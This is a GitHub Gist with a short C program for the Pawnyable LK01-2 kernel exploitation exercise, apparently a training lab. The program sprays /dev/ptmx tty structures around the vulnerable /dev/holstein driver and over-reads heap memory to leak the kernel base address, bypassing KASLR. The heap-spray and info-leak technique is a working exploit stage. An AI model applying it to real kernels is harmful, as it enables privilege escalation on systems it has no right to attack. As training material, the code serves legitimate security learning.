Last active
November 25, 2022 01:21
-
-
Save brant-ruan/c5816e0198fd25d87a30bd34eaf45cf3 to your computer and use it in GitHub Desktop.
Pawnyable LK01-2
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <fcntl.h> | |
#include <stdio.h> | |
#include <string.h> | |
#include <sys/stat.h> | |
#include <sys/types.h> | |
#include <unistd.h> | |
#define ofs_tty_ops 0xc38880 | |
unsigned long kbase; | |
int main() { | |
int spray[100]; | |
for (int i = 0; i < 50; i++) { | |
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY); | |
if (spray[i] == -1) | |
perror("open"); | |
} | |
int fd = open("/dev/holstein", O_RDWR); | |
if (fd == -1) | |
perror("open"); | |
for (int i = 50; i < 100; i++) { | |
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY); | |
if (spray[i] == -1) | |
perror("open"); | |
} | |
char buf[0x500]; | |
read(fd, buf, 0x500); | |
kbase = *(unsigned long *)&buf[0x418] - ofs_tty_ops; | |
printf("[+] leaked kernel base address: 0x%lx\n", kbase); | |
getchar(); | |
close(fd); | |
for (int i = 0; i < 100; i++) | |
close(spray[i]); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment